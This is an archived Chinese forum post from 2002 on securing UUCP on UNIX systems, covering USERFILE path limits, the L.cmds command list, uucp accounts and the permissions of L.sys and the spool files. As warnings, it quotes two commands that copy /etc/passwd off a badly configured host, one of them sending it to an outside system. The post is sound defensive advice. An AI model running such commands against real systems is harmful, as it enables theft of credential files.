精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◇技术资料◇>>UNIX资料>>UUCP的安全问题

主题:UUCP的安全问题
发信人: ahola()
整理人: williamlong(2002-12-01 16:46:00), 站内信件
    UUCP系统未设置限制,允许任何本系统外的用户执行任何命令和拷贝进/出 

uucp用户可读/写的任何文件.在具体的uucp应用环境中应了解这点,根据需要设 

置保护. 
    在UUCP中,有两个程序处理安全问题.第一个是uucico程序,该程序在其它系 

统调用本系统时启动.这个程序是本系统uucp安全的关键,完成本系统文件传输 

的传进和传出.第二个程序是uuxqt,该程序为所有的远程命令执行服务. 
 
  (1)USERFILE文件 
      uucico用文件/usr/lib/uucp/USERFILE确定远程系统发送或接收什么文 

  件,其格式为: 
      login,sys[c] path_name [path_name...] 
      其中login是本系统的登录名,sys是远程系统名,c是可选的call_back标 

  志,path_name是目录名. 
      uucico作为登录shell启动时,将得到远程系统名和所在系统的登录名,并 

  在USERFILE文件中找到匹配login和sys的行.如果该行含有call_back标志c, 

  uucico将不传送文件,连接断开,调用远程系统(即,任何系统可以告诉本系统 

  它的名是xyz,于是本系统挂起,调用实际的xyz执行文件传输),若无c,uucico 

  将执行远程系统请求的文件传送,被传送的文件名被假定为以path_name开头 

  的. 
      用户需要了解以下几点: 
      . 如果远程系统使用的登录名未列于USERFILE的登录域中,uucico将拒绝 

        允许其它系统做任何事,并挂起. 
      . 如果系统名未列于sys域中,uucico将使用USERFILE中有匹配的登录名 

        和空系统名的第一行,如:nuucp,/usr/spool/uucppublic应用到作为 
       nuucp登录的所有系统.cbuucp,c将迫使作为cbuucp登录的所有系统自 
        己执行文件传输的请求.若调用系统名不匹配sys系统中的任何一个,并 

        且无空入口项,uucico也将拒绝做任何事. 
      . 若两个机器都设置了call_back标志,传送文件的请求决不会被执行,两 

        个系统一直互相调用,直到两个系统中的一个取消call_back时,才能进 

        行文件传送. 
      . 如果一个用户的登录名列于USERFILE文件的login域中,则当调用本系 

        统的uucico为该用户传送文件时,uucico只传送至path_name指定的目 

        录中的文件.空登录名用于所有未明确列于USERFILE文件中的用户进行 

        登录.所以 
            pat,/usr/pat 
            只允许pat传送/usr/pat目录结构中的文件. 
            ,/usr/spool/uucppublic /tmp 
            其他用户仅允许传送目录/usr/spool/uucppublic和/tmp中的文件.
 
        不要允许uucico将文件拷进/出到除了/usr/spool/uucppublic目录以 

        外的其它任何目录,否则可能会有人用下面的命令拷贝走本系统的重要 

        信息: 
            uucp yoursys!/etc/passwd to-creep 
(2)L.cmds文件 
      uuxqt利用/usr/lib/uucp/L.cmds文件确定要执行的远程执行请求命令. 

  该文件的格式是每行一条命令.如果只需uuxqt处理电子邮件,该文件中就只须 

  一行命令: 
      rmail 
      系统管理员可允许登录用户执行netnews(rnews)的命令或远程打印命令 

  (lp),但决不能允许用户执行拷贝文件到标准输出的命令,如cat命令或网络命 

  令uucp,否则这些人只需在他们自己的系统上敲入: 
      uux "yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)" 
      然后就可等待本系统发送出命令文件. 
 
  (3)uucp登录 
      UUCP系统需要两个登录户头,一个是其它系统登录的户头,另一个是系统 

  管理使用的户头.例如,数据传输登录户头是nuucp,管理登录户头是uucp,则在 

  /etc/passwd文件中应当有二行. 
      UID和GID的5号通常留给uucp,由于uucico具有管理登录的SUID许可,因此 

  nuucp户头的UID和GID应当用其它值. 
 
  (4)uucp使用的文件和目录 
      /usr/lib/uucp用于存放不能由用户直接运行的各种uucp,如uuxqt和 
  uucico.该目录还含有若干个确定uucp如何操作的文件,如L.cmds和USERFILE. 

  这些文件只能对uucp管理户头可写(系统管理员一定不愿让用户更改远程可执 

  行命令表):根据安全的观点,该目录中另一个系统管理员必须清楚的文件是 
  L.sys.该文件中含有uucico能调用的每个系统的入口项.入口项数据包括 
  uucico所调用系统的电话号码,登录名,未加密的口令.不用说,L.sys应当属于 

  uucp管理户头所有,且应当具有400或600存取许可. 
      uucp用/usr/spool/uucp目录存放工作文件.文件名以C.开头的文件是送 

  到其它系统的命令文件,含有在其它系统上拷入/出数据和执行命令的请求.文 

  件名以D.开头的文件用作C.文件的数据文件.文件名以X.开头的文件是来自其 

  它系统的远程执行请求,由uuxqt解释.文件名以TM.开始的文件是从其它系统 

  传送数据到本系统过程中uucp所使用的暂存文件.XQTDIR是uuxqt用于执行X. 

  文件的目录.LOGFILE可有助于管理uucp的安全,它含有执行uucp请求成功与否 

  的信息.系统管理员可时常查看该文件,了解有哪些系统正登录入本系统执行 

  uucp请求?是什么请求?特别要检查这些请求是否试图做不允许的操作. 

--
我是天边最远的那颗星星,静静的看着你 
    ★^   ★

※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 210.72.252.65]

[关闭][返回]